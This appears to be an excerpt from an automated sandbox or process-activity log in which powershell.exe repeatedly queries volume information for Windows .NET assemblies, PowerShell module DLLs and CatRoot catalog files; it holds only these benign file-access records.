Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
